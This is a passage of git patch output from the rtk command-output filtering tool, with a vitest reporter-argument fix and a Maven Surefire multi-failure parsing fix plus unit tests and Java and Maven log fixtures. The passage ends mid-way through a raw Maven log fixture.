**openclaw:** no execSync to avoid async dangerous cmds ([f525cee](https://github.com/rtk-ai/rtk/commit/f525ceecf4dbaa522d70b83ca36cac5992684a92)) +* **permissions:** >&file redirect no allow + scope Gemini/Cursor config ([e16aa26](https://github.com/rtk-ai/rtk/commit/e16aa26162a95bd99c954c0236b5353ffe89db00)) +* **permissions:** add test for cursor and gemini settings perm ([1ccf6e3](https://github.com/rtk-ai/rtk/commit/1ccf6e3da72b6c2feff43bbc4d9fc3ed2e4cd083)) +* **permissions:** cursor and gemini use correct permissions settings file ([a4bb55e](https://github.com/rtk-ai/rtk/commit/a4bb55efa9be1b0bf69ccc2cff9ddcbf2af7a48d)) +* **permissions:** never auto-allow not evaluable + defer to the agent ([952245d](https://github.com/rtk-ai/rtk/commit/952245d39d099ed9a804dbba21bb0486f6aede16)) +* **permissions:** project-first config lookup for Gemini/Cursor ([f88b6be](https://github.com/rtk-ai/rtk/commit/f88b6bec1323265cfced77c449bd795f2506cc90)) +* **security:** port permission hardening from master + Copilot CLI adaptation ([e1cd274](https://github.com/rtk-ai/rtk/commit/e1cd274ab9f3d473b694547e511e5baf1eae9734)) +* semgrep markers on test-fixture sensitive paths ([66d66b1](https://github.com/rtk-ai/rtk/commit/66d66b1fe6293e0f93d9797ae04e72b7ca40eaa0)) + ## [0.42.2](https://github.com/rtk-ai/rtk/compare/v0.42.1...v0.42.2) (2026-06-05) diff --git a/Cargo.lock b/Cargo.lock index f9b6067bb9..ccb851f025 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.42.2" +version = "0.42.3" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index dd2b113761..cf176b5223 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.42.2" +version = "0.42.3" edition = "2021" rust-version = "1.91" authors = ["Patrick Szymkowiak"] From e9b82fc2bbd8100cbc200ae3dba6de49a05bcb26 Mon Sep 17 00:00:00 2001 From: xiaozh Date: Sat, 6 Jun 2026 10:42:53 +0800 Subject: [PATCH 196/257] fix(vitest): preserve explicit reporters --- src/cmds/js/vitest_cmd.rs | 177 ++++++++++++++++++++++++++++++-------- 1 file changed, 142 insertions(+), 35 deletions(-) diff --git a/src/cmds/js/vitest_cmd.rs b/src/cmds/js/vitest_cmd.rs index fc80bff696..233eaf39cf 100644 --- a/src/cmds/js/vitest_cmd.rs +++ b/src/cmds/js/vitest_cmd.rs @@ -206,16 +206,15 @@ fn extract_failures_regex(output: &str) -> Vec { pub fn run_test(command: &Commands, args: &[String], verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); + let mut passthrough_requested = false; let (framework, mut cmd) = match command { Commands::Vitest { .. } => { let framework = "vitest"; let mut cmd = package_manager_exec(framework); - cmd - // Force non-watch mode - .arg("run") - // Enable JSON structured output - .arg("--reporter=json"); + let effective_args = build_vitest_effective_args(args); + passthrough_requested = effective_args.passthrough; + cmd.args(effective_args.args); (framework, cmd) } Commands::Jest { .. } => { @@ -231,42 +230,23 @@ pub fn run_test(command: &Commands, args: &[String], verbose: u8) -> Result _ => unreachable!(), }; - for arg in args { - if arg == "run" - || arg.starts_with("--json") - || arg.starts_with("--reporter") - || arg.starts_with("--watch") - { - continue; + if !matches!(command, Commands::Vitest { .. }) { + for arg in args { + if arg == "run" + || arg.starts_with("--json") + || arg.starts_with("--reporter") + || arg.starts_with("--watch") + { + continue; + } + cmd.arg(arg); } - cmd.arg(arg); } let result = exec_capture(&mut cmd).context(format!("Failed to run {}", framework))?; let combined = result.combined(); - // Parse output using VitestParser - let parse_result = VitestParser::parse(&result.stdout); - let mode = FormatMode::from_verbosity(verbose); - - let filtered = match parse_result { - ParseResult::Full(data) => { - if verbose > 0 { - eprintln!("{} run (Tier 1: Full JSON parse)", framework); - } - data.format(mode) - } - ParseResult::Degraded(data, warnings) => { - if verbose > 0 { - emit_degradation_warning(framework, &warnings.join(", ")); - } - data.format(mode) - } - ParseResult::Passthrough(raw) => { - emit_passthrough_warning(framework, "All parsing tiers failed"); - raw - } - }; + let filtered = format_test_output(framework, &result.stdout, &combined, passthrough_requested, verbose); if let Some(hint) = crate::core::tee::tee_and_hint(&combined, format!("{}_run", framework).as_str(), result.exit_code) @@ -289,10 +269,84 @@ pub fn run_test(command: &Commands, args: &[String], verbose: u8) -> Result Ok(0) } +struct EffectiveVitestArgs { + args: Vec, + passthrough: bool, +} + +fn build_vitest_effective_args(args: &[String]) -> EffectiveVitestArgs { + let passthrough = has_explicit_vitest_reporter(args); + let mut effective = vec!["run".to_string()]; + + if !passthrough { + effective.push("--reporter=json".to_string()); + } + + for arg in args { + if should_skip_vitest_arg(arg) { + continue; + } + effective.push(arg.clone()); + } + + EffectiveVitestArgs { + args: effective, + passthrough, + } +} + +fn has_explicit_vitest_reporter(args: &[String]) -> bool { + args.iter() + .any(|arg| arg == "--reporter" || arg.starts_with("--reporter=")) +} + +fn should_skip_vitest_arg(arg: &str) -> bool { + arg == "run" || arg.starts_with("--json") || arg.starts_with("--watch") +} + +fn format_test_output( + framework: &str, + stdout: &str, + combined: &str, + passthrough_requested: bool, + verbose: u8, +) -> String { + if passthrough_requested { + return truncate_passthrough(combined); + } + + let parse_result = VitestParser::parse(stdout); + let mode = FormatMode::from_verbosity(verbose); + let filtered = match parse_result { + ParseResult::Full(data) => { + if verbose > 0 { + eprintln!("{} run (Tier 1: Full JSON parse)", framework); + } + data.format(mode) + } + ParseResult::Degraded(data, warnings) => { + if verbose > 0 { + emit_degradation_warning(framework, &warnings.join(", ")); + } + data.format(mode) + } + ParseResult::Passthrough(raw) => { + emit_passthrough_warning(framework, "All parsing tiers failed"); + raw + } + }; + + filtered +} + #[cfg(test)] mod tests { use super::*; + fn args(values: &[&str]) -> Vec { + values.iter().map(|value| value.to_string()).collect() + } + #[test] fn test_vitest_parser_json() { let json = r#"{ @@ -397,4 +451,57 @@ Scope: all 6 workspace projects assert_eq!(data.total, 2); assert_eq!(data.passed, 2); } + + #[test] + fn test_vitest_effective_args_inject_json_reporter_by_default() { + let effective = build_vitest_effective_args(&args(&["run", "constants.test.ts", "--watch"])); + + assert!(!effective.passthrough); + assert_eq!( + effective.args, + args(&["run", "--reporter=json", "constants.test.ts"]) + ); + } + + #[test] + fn test_vitest_effective_args_preserve_explicit_reporter_equals() { + let effective = + build_vitest_effective_args(&args(&["constants.test.ts", "--reporter=verbose"])); + + assert!(effective.passthrough); + assert_eq!( + effective.args, + args(&["run", "constants.test.ts", "--reporter=verbose"]) + ); + } + + #[test] + fn test_vitest_effective_args_preserve_explicit_reporter_value() { + let effective = + build_vitest_effective_args(&args(&["run", "constants.test.ts", "--reporter", "verbose"])); + + assert!(effective.passthrough); + assert_eq!( + effective.args, + args(&["run", "constants.test.ts", "--reporter", "verbose"]) + ); + } + + #[test] + fn test_vitest_explicit_reporter_keeps_verbose_output() { + let output = r#" + ✓ constants/publicPaths.test.ts > public paths > keeps docs path + ✓ constants/publicPaths.test.ts > public paths > keeps app path + + Test Files 1 passed (1) + Tests 2 passed (2) + Duration 450ms +"#; + + let filtered = format_test_output("vitest", output, output, true, 0); + + assert!(filtered.contains("keeps docs path")); + assert!(filtered.contains("keeps app path")); + assert!(filtered.contains("Tests 2 passed")); + } } From 1050cfeadcc3fd2b34df3401c6ec3aa09f0cd199 Mon Sep 17 00:00:00 2001 From: Vinicius Dufloth Date: Sat, 6 Jun 2026 11:05:05 -0300 Subject: [PATCH 197/257] fix(mvn): re-arm failure trail on per-test sublines MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Surefire 3.x emits one blank-separated detail block per failing test under a single class close line. The trail previously ended at the first blank line and never re-armed, so failures after the first lost their exception message (unindented -> dropped) and leaked the full junit/jdk framework stack (indented -> kept by keep_continuation). SurefireBlock now remembers the trail's keep/drop decision when it ends at a blank line (trail_rearm) and re-enters the trail on the next per-test subline with the same decision — a capped class drops all its per-test blocks, not just the first. Any other non-blank line disarms re-entry; RUNNING/commit/drop clear it so an unrelated class can never inherit the decision. Extra blanks between per-test blocks stay armed. Per-test sublines use '<<< ERROR!' for thrown (non-assertion) exceptions — accept both markers via a shared is_per_test_subline() (also reused by filter_quiet, which already re-armed correctly), and widen the CLOSE regex to tolerate an ERROR! marker defensively (Surefire 3.5.5 emits FAILURE! even for errors-only classes, per the fixture capture; detection keys off the counts, not the marker). Fixture captured from real Maven 3.9.9 / Surefire 3.5.5 output against the new tests/fixtures/multifail-skeleton/ (CalcTest: assertion failure + thrown exception in one class; BoomTest: errors-only class). A byte-exact pin locks the single-failure path unchanged. --- src/cmds/jvm/README.md | 2 + src/cmds/jvm/mvn_cmd.rs | 309 +++++++++++++++++- tests/fixtures/multifail-skeleton/pom.xml | 30 ++ .../src/main/java/com/example/rtk/Calc.java | 7 + .../test/java/com/example/rtk/BoomTest.java | 10 + .../test/java/com/example/rtk/CalcTest.java | 24 ++ .../fixtures/mvn_test_multifail_slice_raw.txt | 70 ++++ 7 files changed, 445 insertions(+), 7 deletions(-) create mode 100644 tests/fixtures/multifail-skeleton/pom.xml create mode 100644 tests/fixtures/multifail-skeleton/src/main/java/com/example/rtk/Calc.java create mode 100644 tests/fixtures/multifail-skeleton/src/test/java/com/example/rtk/BoomTest.java create mode 100644 tests/fixtures/multifail-skeleton/src/test/java/com/example/rtk/CalcTest.java create mode 100644 tests/fixtures/mvn_test_multifail_slice_raw.txt diff --git a/src/cmds/jvm/README.md b/src/cmds/jvm/README.md index 49a3dbcd89..b36d7d0eab 100644 --- a/src/cmds/jvm/README.md +++ b/src/cmds/jvm/README.md @@ -24,6 +24,8 @@ Key behaviours: - **English-footer guard** — if neither `BUILD SUCCESS` nor `BUILD FAILURE` appears as a trimmed line suffix, return the ANSI-stripped raw input unchanged. Protects non-English locales. - **Verbose bypass** — `-X`, `--debug`, `-e`, `--errors` skip filtering (`run_passthrough`). User asked for detail; respect it. - **Surefire block collapse** — Surefire emits `[INFO] Running ` … `[INFO] Tests run: N, Failures: F, Errors: E, …, Time elapsed: T s - in `. The filter buffers each block and emits it only when `F > 0` or `E > 0`. Passing blocks (the bulk of healthy-project output) are dropped silently. Failing blocks are emitted with framework stack frames stripped via a deny-list (`at org.junit.`, `at java.util.`, `at sun.reflect.`, etc.). +- **Multi-failure classes (trail re-arm)** — when a single class has several failing tests, Surefire 3.x emits one blank-separated detail block per failing test under a single close line. When a failure trail ends at a blank line, the state machine arms a re-entry: the next per-test subline (`[ERROR] FQN.method -- Time elapsed: … <<< FAILURE!` or `<<< ERROR!`) re-enters the trail with the same keep/drop decision, so every failure message survives (and a capped class drops *all* its blocks). Any other non-blank line disarms the re-entry. +- **`<<< ERROR!` markers** — per-test sublines use `<<< ERROR!` for thrown (non-assertion) exceptions; the close-line regex also tolerates an `ERROR!` marker defensively (Surefire 3.5.5 emits `FAILURE!` even for errors-only classes — failure detection keys off the `Failures`/`Errors` counts, not the marker). - **Duration normalisation** — `Time elapsed: 2.341 s` → `Time elapsed: T s` and `[INFO] Total time: 49.550 s` → `[INFO] Total time: T s` for deterministic test output. - **Wrapper detection** — `./mvnw` (POSIX) and `mvnw.cmd` (Windows) detected via string-literal `Command::new` (semgrep-safe); falls back to `resolved_command("mvn")`. - **Reactor Summary preservation** — for multi-module builds, the trailing `Reactor Summary for ` block with per-module SUCCESS/FAILURE rows is kept (toggled by a `[INFO] Reactor Summary for ` header and cleared on `BUILD SUCCESS` / `BUILD FAILURE`). diff --git a/src/cmds/jvm/mvn_cmd.rs b/src/cmds/jvm/mvn_cmd.rs index 885f849747..84fbd21232 100644 --- a/src/cmds/jvm/mvn_cmd.rs +++ b/src/cmds/jvm/mvn_cmd.rs @@ -22,11 +22,15 @@ lazy_static! { static ref RUNNING: Regex = Regex::new(r"^\[INFO\] Running ").unwrap(); /// Surefire/Failsafe per-class close line. Captures `Failures` and `Errors`. - /// Tolerates the optional `<<< FAILURE!` marker. Separator is `-` (Surefire 2.x) - /// or `--` (Surefire 3.x). Prefix INFO/ERROR/WARNING (3.x emits WARNING for - /// classes with only skipped tests). + /// Tolerates the optional `<<< FAILURE!` / `<<< ERROR!` marker (3.5.5 emits + /// `<<< FAILURE!` even for errors-only classes — see + /// `mvn_test_multifail_slice_raw.txt`; `ERROR!` accepted defensively for + /// other Surefire versions; failure detection is via the captured counts, + /// not the marker). Separator is `-` (Surefire 2.x) or `--` (Surefire 3.x). + /// Prefix INFO/ERROR/WARNING (3.x emits WARNING for classes with only + /// skipped tests). static ref CLOSE: Regex = Regex::new( - r"^\[(?:INFO|ERROR|WARNING)\] Tests run: \d+, Failures: (\d+), Errors: (\d+), Skipped: \d+, Time elapsed: [^ ]+ s(?:\s+<<<\s*FAILURE!)?\s+--?\s+in (.+)$" + r"^\[(?:INFO|ERROR|WARNING)\] Tests run: \d+, Failures: (\d+), Errors: (\d+), Skipped: \d+, Time elapsed: [^ ]+ s(?:\s+<<<\s*(?:FAILURE|ERROR)!)?\s+--?\s+in (.+)$" ).unwrap(); /// Final BUILD footer. @@ -117,6 +121,18 @@ fn is_framework_frame(trimmed: &str) -> bool { .any(|p| trimmed.starts_with(p)) } +/// `[ERROR] FQN.method -- Time elapsed: 0.030 s <<< FAILURE!` (or `<<< ERROR!`). +/// Distinguished from CLOSE by call position: only consulted when +/// `in_block == false` (CLOSE only occurs while a block is open). A +/// CLOSE-shaped line outside a block would match too — acceptable: the +/// disarm-on-take guard limits the effect to one stray line. +/// Note: the `[ERROR] Class.test:25 …` failures-summary entries (3-space +/// indent, no `<<<` marker) do NOT match. +fn is_per_test_subline(line: &str) -> bool { + line.starts_with("[ERROR] ") + && (line.contains("<<< FAILURE!") || line.contains("<<< ERROR!")) +} + // ── English-footer guard ──────────────────────────────────────────────────── fn has_english_footer(stripped: &str) -> bool { @@ -187,6 +203,13 @@ fn keep_outside_block(line: &str) -> bool { /// emits **after** the close line, terminated by a blank line. Framework /// frames (junit, jdk.proxy, java.base, etc.) are stripped from both the /// buffered block and the trail; user-code frames are preserved. +/// - multi-failure classes: Surefire 3.x emits one blank-separated detail +/// block per failing test under a single CLOSE line. When a trail ends at +/// a blank line, `trail_rearm` remembers the keep/drop decision so the +/// next per-test subline re-enters the trail with the same decision. +/// End-of-input with `trail_rearm` still `Some` is harmless (nothing +/// pending in `out`); `finish()` / `flush_open_block_as_keep` need no +/// special handling. struct SurefireBlock<'a> { block_lines: Vec<&'a str>, block_running: Option<&'a str>, @@ -196,6 +219,12 @@ struct SurefireBlock<'a> { /// `<<< FAILURE!` subline, exception, user frames) without writing it to /// `out`. Used when the caller capped a failing block via `drop_failing`. drop_trail: bool, + /// Set when a trail ends at a blank line; holds the `drop_trail` value so + /// the next per-test subline of the same class re-enters the trail with + /// the same keep/drop decision (a capped class must drop **all** its + /// per-test blocks, not just the first). Cleared by any non-blank + /// non-subline line, by `RUNNING`, and by `commit_failing`/`drop_failing`. + trail_rearm: Option, } enum SurefireStep<'a> { @@ -221,6 +250,7 @@ impl<'a> SurefireBlock<'a> { in_block: false, failure_trail: false, drop_trail: false, + trail_rearm: None, } } @@ -237,6 +267,9 @@ impl<'a> SurefireBlock<'a> { self.block_running = Some(line); self.in_block = true; self.failure_trail = false; + // Load-bearing: a capped multi-failure class followed by a kept + // class must not re-arm into the new class's trail decision. + self.trail_rearm = None; return SurefireStep::Consumed; } @@ -268,6 +301,9 @@ impl<'a> SurefireBlock<'a> { if !self.drop_trail { out.push('\n'); } + // Arm re-entry: a following per-test subline belongs to the + // same class and must inherit this trail's keep/drop decision. + self.trail_rearm = Some(self.drop_trail); self.failure_trail = false; self.drop_trail = false; return SurefireStep::Consumed; @@ -284,6 +320,25 @@ impl<'a> SurefireBlock<'a> { return SurefireStep::Consumed; } + if let Some(dropped) = self.trail_rearm { + if line.is_empty() { + // Tolerate extra blanks between per-test blocks: stay armed, + // let the blank fall through (outer keep-lists drop it). + return SurefireStep::Passthrough; + } + self.trail_rearm = None; // disarm unconditionally on non-blank (load-bearing) + if is_per_test_subline(line) { + self.failure_trail = true; + self.drop_trail = dropped; + if !dropped { + out.push_str(line); + out.push('\n'); + } + return SurefireStep::Consumed; + } + // Non-subline: trail is over; already disarmed — fall through. + } + SurefireStep::Passthrough } @@ -294,6 +349,9 @@ impl<'a> SurefireBlock<'a> { fn drop_failing(&mut self) { self.failure_trail = true; self.drop_trail = true; + // Belt-and-suspenders: a CLOSE can only follow a RUNNING (which + // already cleared `trail_rearm`), but keep the invariant local too. + self.trail_rearm = None; } /// Commit a `FailingClose` to `out`: writes `running`, then `lines` (with @@ -321,6 +379,8 @@ impl<'a> SurefireBlock<'a> { out.push_str(close); out.push('\n'); self.failure_trail = true; + // Belt-and-suspenders: see `drop_failing`. + self.trail_rearm = None; } /// End-of-stream flush: if a block opened and never closed (truncated @@ -722,12 +782,14 @@ pub fn filter_quiet(raw: &str) -> String { if CLOSE.is_match(line) { out.push_str(line); out.push('\n'); - failure_trail = line.contains("<<< FAILURE!"); + failure_trail = + line.contains("<<< FAILURE!") || line.contains("<<< ERROR!"); continue; } - // Per-test failure subline: `[ERROR] FQN.method -- Time elapsed: … <<< FAILURE!`. - if line.starts_with("[ERROR] ") && line.contains("<<< FAILURE!") { + // Per-test failure subline: `[ERROR] FQN.method -- Time elapsed: … <<< FAILURE!` + // (or `<<< ERROR!` for thrown exceptions). + if is_per_test_subline(line) { out.push_str(line); out.push('\n'); failure_trail = true; @@ -1116,6 +1178,238 @@ mod tests { ); } + // ── Multi-failure class (trail re-arm) ────────────────────────────────── + + /// Surefire 3.x emits one blank-separated detail block per failing test + /// under a single CLOSE line. All per-test exception messages must survive + /// (not just the first), framework frames must stay stripped throughout. + /// Real fixture: `CalcTest` (1 failure + 1 error) + `BoomTest` (errors-only). + #[test] + fn surefire_keeps_all_failures_in_multi_failure_class() { + let i = include_str!("../../../tests/fixtures/mvn_test_multifail_slice_raw.txt"); + let o = filter_surefire(i); + assert!( + o.contains("AssertionFailedError: failOne: addition should equal five"), + "first failure message preserved; got:\n{}", + o + ); + assert!( + o.contains("IllegalStateException: failTwo: induced error"), + "second failure (ERROR! subline) message preserved; got:\n{}", + o + ); + assert!( + o.contains("at com.example.rtk.CalcTest.failOne(CalcTest.java:12)"), + "first user frame preserved; got:\n{}", + o + ); + assert!( + o.contains("at com.example.rtk.CalcTest.failTwo(CalcTest.java:17)"), + "second user frame preserved; got:\n{}", + o + ); + assert!( + !o.contains("at org.junit."), + "junit frames stripped; got:\n{}", + o + ); + assert!( + !o.contains("at java.base/"), + "jdk frames stripped; got:\n{}", + o + ); + } + + /// Same multi-failure fixture through `filter_package` (drift guard — + /// the install/verify route shares `SurefireBlock` and must not diverge). + #[test] + fn package_keeps_all_failures_in_multi_failure_class() { + let i = include_str!("../../../tests/fixtures/mvn_test_multifail_slice_raw.txt"); + let o = filter_package(i); + assert!( + o.contains("AssertionFailedError: failOne: addition should equal five"), + "first failure message preserved; got:\n{}", + o + ); + assert!( + o.contains("IllegalStateException: failTwo: induced error"), + "second failure message preserved; got:\n{}", + o + ); + assert!( + !o.contains("at org.junit."), + "junit frames stripped; got:\n{}", + o + ); + assert!( + !o.contains("at java.base/"), + "jdk frames stripped; got:\n{}", + o + ); + } + + /// A capped (dropped) multi-failure class must drop **all** its per-test + /// blocks — the re-arm inherits the drop decision — and the tail counts + /// classes, not failures. The existing `surefire_caps_failing_blocks_emits_tail` + /// only covers single-failure classes. + #[test] + fn surefire_drop_failing_drops_all_sublines_of_capped_class() { + let i = "[INFO] Scanning for projects...\n\ + [INFO] -----< x >-----\n\ + [INFO] Running x.FailA\n\ + [ERROR] Tests run: 1, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 0.011 s <<< FAILURE! -- in x.FailA\n\ + [ERROR] x.FailA.one -- Time elapsed: 0.010 s <<< FAILURE!\n\ + org.opentest4j.AssertionFailedError: boomA\n\ + \tat x.FailA.one(FailA.java:10)\n\ + \n\ + [INFO] Running x.MultiFail\n\ + [ERROR] Tests run: 2, Failures: 1, Errors: 1, Skipped: 0, Time elapsed: 0.051 s <<< FAILURE! -- in x.MultiFail\n\ + [ERROR] x.MultiFail.first -- Time elapsed: 0.020 s <<< FAILURE!\n\ + org.opentest4j.AssertionFailedError: boomFirst\n\ + \tat x.MultiFail.first(MultiFail.java:20)\n\ + \n\ + [ERROR] x.MultiFail.second -- Time elapsed: 0.030 s <<< ERROR!\n\ + java.lang.IllegalStateException: boomSecond\n\ + \tat x.MultiFail.second(MultiFail.java:30)\n\ + \n\ + [INFO] BUILD FAILURE\n"; + let o = filter_surefire_with_cap(i, 1); + + assert!(o.contains("boomA"), "first class kept; got:\n{}", o); + assert!( + !o.contains("Running x.MultiFail") && !o.contains("boomFirst"), + "capped class first block dropped; got:\n{}", + o + ); + assert!( + !o.contains("x.MultiFail.second") && !o.contains("boomSecond"), + "capped class second per-test block dropped (re-arm inherits drop); got:\n{}", + o + ); + assert!( + o.contains("... +1 more failing test classes"), + "tail counts one class, not one per failure; got:\n{}", + o + ); + } + + /// A non-subline line (`[INFO] Results:`) immediately after a trail blank + /// must disarm the re-arm and be kept normally by the outside-block list. + #[test] + fn surefire_rearm_disarms_at_results_boundary() { + let i = "[INFO] -----< x >-----\n\ + [INFO] Running x.MultiFail\n\ + [ERROR] Tests run: 2, Failures: 2, Errors: 0, Skipped: 0, Time elapsed: 0.051 s <<< FAILURE! -- in x.MultiFail\n\ + [ERROR] x.MultiFail.first -- Time elapsed: 0.020 s <<< FAILURE!\n\ + org.opentest4j.AssertionFailedError: boomFirst\n\ + \n\ + [ERROR] x.MultiFail.second -- Time elapsed: 0.030 s <<< FAILURE!\n\ + org.opentest4j.AssertionFailedError: boomSecond\n\ + \n\ + [INFO] Results:\n\ + [ERROR] Tests run: 2, Failures: 2, Errors: 0, Skipped: 0\n\ + [INFO] BUILD FAILURE\n"; + let o = filter_surefire(i); + assert!(o.contains("boomSecond"), "second block kept; got:\n{}", o); + assert!( + o.contains("[INFO] Results:"), + "Results boundary disarms re-arm and is kept; got:\n{}", + o + ); + assert!( + o.contains("[ERROR] Tests run: 2, Failures: 2"), + "aggregate kept; got:\n{}", + o + ); + } + + /// Double blank between per-test blocks: stay armed across the extra + /// blank, still re-enter the trail — and no spurious blank lines leak. + #[test] + fn surefire_tolerates_double_blank_between_failure_blocks() { + let i = "[INFO] -----< x >-----\n\ + [INFO] Running x.MultiFail\n\ + [ERROR] Tests run: 2, Failures: 2, Errors: 0, Skipped: 0, Time elapsed: 0.051 s <<< FAILURE! -- in x.MultiFail\n\ + [ERROR] x.MultiFail.first -- Time elapsed: 0.020 s <<< FAILURE!\n\ + org.opentest4j.AssertionFailedError: boomFirst\n\ + \n\ + \n\ + [ERROR] x.MultiFail.second -- Time elapsed: 0.030 s <<< FAILURE!\n\ + org.opentest4j.AssertionFailedError: boomSecond\n\ + \n\ + [INFO] BUILD FAILURE\n"; + let o = filter_surefire(i); + assert!(o.contains("boomFirst"), "first block kept; got:\n{}", o); + assert!( + o.contains("boomSecond"), + "second block re-enters trail across double blank; got:\n{}", + o + ); + assert!( + !o.contains("\n\n\n"), + "no spurious blank lines leak; got:\n{:?}", + o + ); + } + + /// Byte-exact pin of the single-failure path: the re-arm machinery must + /// not change output for single-failure fixtures (no extra blank lines, + /// no reordering). Literal captured from `filter_surefire` at the commit + /// preceding the trail re-arm change. + #[test] + fn surefire_single_failure_output_unchanged() { + let i = include_str!("../../../tests/fixtures/mvn_test_fail_slice_raw.txt"); + let o = filter_surefire(i); + let expected = "[INFO] Scanning for projects...\n\ + [INFO] ----------------------< commons-cli:commons-cli >-----------------------\n\ + [INFO] Building Apache Commons CLI 1.11.1-SNAPSHOT\n\ + [INFO] Running org.apache.commons.cli.RtkInducedFailTest\n\ + [ERROR] Tests run: 1, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 0.033 s <<< FAILURE! -- in org.apache.commons.cli.RtkInducedFailTest\n\ + [ERROR] org.apache.commons.cli.RtkInducedFailTest.rtkInducedFailure -- Time elapsed: 0.025 s <<< FAILURE!\n\ + org.opentest4j.AssertionFailedError: expected: but was: \n\ + \tat org.apache.commons.cli.RtkInducedFailTest.rtkInducedFailure(RtkInducedFailTest.java:25)\n\ + \n\ + [INFO] Results:\n\ + [ERROR] Failures:\n\ + [ERROR] RtkInducedFailTest.rtkInducedFailure:25 expected: but was: \n\ + [ERROR] Tests run: 978, Failures: 1, Errors: 0, Skipped: 61\n\ + [INFO] BUILD FAILURE\n\ + [INFO] Total time: 01:05 min\n\ + [INFO] Finished at: 2026-05-21T14:57:09Z\n\ + [ERROR] Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:3.5.5:test (default-test) on project commons-cli: There are test failures.\n"; + assert_eq!(o, expected, "single-failure output must be byte-identical"); + } + + /// Savings on the multifail slice. Threshold is low by design: the slice + /// is nearly all kept failure signal (two failing classes, three per-test + /// detail blocks), so the droppable share is small — measured 19.9% at + /// commit time (precedent: reactor-fail pins ≥30% with a "short fixture" + /// note). + #[test] + fn savings_mvn_test_multifail_slice() { + let i = include_str!("../../../tests/fixtures/mvn_test_multifail_slice_raw.txt"); + let o = filter_surefire(i); + let savings = 100.0 - (count_tokens(&o) as f64 / count_tokens(i) as f64 * 100.0); + assert!( + savings >= 15.0, + "multifail slice ≥15% savings (dense failure-signal fixture), got {:.1}%", + savings + ); + } + + /// CLOSE regex accepts a `<<< ERROR!` marker (defensive — Surefire 3.5.5 + /// emits `<<< FAILURE!` even for errors-only classes, per the multifail + /// fixture capture; other versions may emit `ERROR!`). + #[test] + fn close_line_matches_error_marker() { + let line = "[ERROR] Tests run: 1, Failures: 0, Errors: 1, Skipped: 0, Time elapsed: 0.006 s <<< ERROR! -- in com.example.rtk.BoomTest"; + let caps = CLOSE + .captures(line) + .expect("CLOSE must match an ERROR!-marked close line"); + assert_eq!(caps.get(1).expect("failures group").as_str(), "0"); + assert_eq!(caps.get(2).expect("errors group").as_str(), "1"); + } + /// `mvn test` whose compile step fails before Surefire runs must still /// keep the `[ERROR]` block's indented `symbol:` / `location:` continuation /// lines. Regression guard for the P0 reviewer ask: `filter_surefire` @@ -1730,3 +2024,4 @@ mod tests { ); } } + diff --git a/tests/fixtures/multifail-skeleton/pom.xml b/tests/fixtures/multifail-skeleton/pom.xml new file mode 100644 index 0000000000..58081295d2 --- /dev/null +++ b/tests/fixtures/multifail-skeleton/pom.xml @@ -0,0 +1,30 @@ + + + 4.0.0 + com.example.rtk + multifail-skeleton + 1.0.0-SNAPSHOT + jar + + 21 + 21 + UTF-8 + + + + org.junit.jupiter + junit-jupiter + 5.11.4 + test + + + + + + org.apache.maven.plugins + maven-surefire-plugin + 3.5.5 + + + + diff --git a/tests/fixtures/multifail-skeleton/src/main/java/com/example/rtk/Calc.java b/tests/fixtures/multifail-skeleton/src/main/java/com/example/rtk/Calc.java new file mode 100644 index 0000000000..26090c28ee --- /dev/null +++ b/tests/fixtures/multifail-skeleton/src/main/java/com/example/rtk/Calc.java @@ -0,0 +1,7 @@ +package com.example.rtk; + +public class Calc { + public int add(int a, int b) { + return a + b; + } +} diff --git a/tests/fixtures/multifail-skeleton/src/test/java/com/example/rtk/BoomTest.java b/tests/fixtures/multifail-skeleton/src/test/java/com/example/rtk/BoomTest.java new file mode 100644 index 0000000000..ea5e9720f6 --- /dev/null +++ b/tests/fixtures/multifail-skeleton/src/test/java/com/example/rtk/BoomTest.java @@ -0,0 +1,10 @@ +package com.example.rtk; + +import org.junit.jupiter.api.Test; + +class BoomTest { + @Test + void boom() { + throw new IllegalStateException("boom: errors-only class for fixture capture"); + } +} diff --git a/tests/fixtures/multifail-skeleton/src/test/java/com/example/rtk/CalcTest.java b/tests/fixtures/multifail-skeleton/src/test/java/com/example/rtk/CalcTest.java new file mode 100644 index 0000000000..eecf368d22 --- /dev/null +++ b/tests/fixtures/multifail-skeleton/src/test/java/com/example/rtk/CalcTest.java @@ -0,0 +1,24 @@ +package com.example.rtk; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +import org.junit.jupiter.api.Test; + +class CalcTest { + private final Calc calc = new Calc(); + + @Test + void failOne() { + assertEquals(5, calc.add(2, 2), "failOne: addition should equal five"); + } + + @Test + void failTwo() { + throw new IllegalStateException("failTwo: induced error for fixture capture"); + } + + @Test + void passes() { + assertEquals(4, calc.add(2, 2)); + } +} diff --git a/tests/fixtures/mvn_test_multifail_slice_raw.txt b/tests/fixtures/mvn_test_multifail_slice_raw.txt new file mode 100644 index 0000000000..ade0090bee --- /dev/null +++ b/tests/fixtures/mvn_test_multifail_slice_raw.txt @@ -0,0 +1,70 @@ +[INFO] Scanning for projects... +[INFO] +[INFO] -----------------< com.example.rtk:multifail-skeleton >----------------- +[INFO] Building multifail-skeleton 1.0.0-SNAPSHOT +[INFO] from pom.xml +[INFO] --------------------------------[ jar ]--------------------------------- +[INFO] +[INFO] --- surefire:3.5.5:test (default-test) @ multifail-skeleton --- +[INFO] +[INFO] ------------------------------------------------------- +[INFO] T E S T S +[INFO] ------------------------------------------------------- +[INFO] Running com.example.rtk.CalcTest +[ERROR] Tests run: 3, Failures: 1, Errors: 1, Skipped: 0, Time elapsed: 0.108 s <<< FAILURE! -- in com.example.rtk.CalcTest +[ERROR] com.example.rtk.CalcTest.failOne -- Time elapsed: 0.050 s <<< FAILURE! +org.opentest4j.AssertionFailedError: failOne: addition should equal five ==> expected: <5> but was: <4> + at org.junit.jupiter.api.AssertionFailureBuilder.build(AssertionFailureBuilder.java:151) + at org.junit.jupiter.api.AssertionFailureBuilder.buildAndThrow(AssertionFailureBuilder.java:132) + at 